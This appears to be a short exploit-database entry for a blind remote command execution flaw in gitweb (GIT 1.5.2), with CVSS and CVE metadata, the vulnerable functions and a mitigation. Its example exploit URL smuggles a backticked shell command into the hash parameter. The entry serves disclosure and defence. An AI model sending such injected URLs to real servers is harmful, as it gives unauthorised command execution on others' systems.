vendor:
GIT
by:
S2 Crew [Hungary]
7,5
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: GIT
Affected Version From: GIT 1.5.2
Affected Version To: GIT 1.5.2
Patch Exists: YES
Related CWE: CVE-2008-5516, CVE-2008-5517
CPE: a:git:git
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Debian Linux
2009
gitWeb remote command execution
The cgi script doesn't show the command output *blind command execution ;)*. Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object(). An example exploit URL is http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785
Mitigation:
Ensure that the gitweb.cgi script is not accessible from the internet and is only accessible from trusted networks.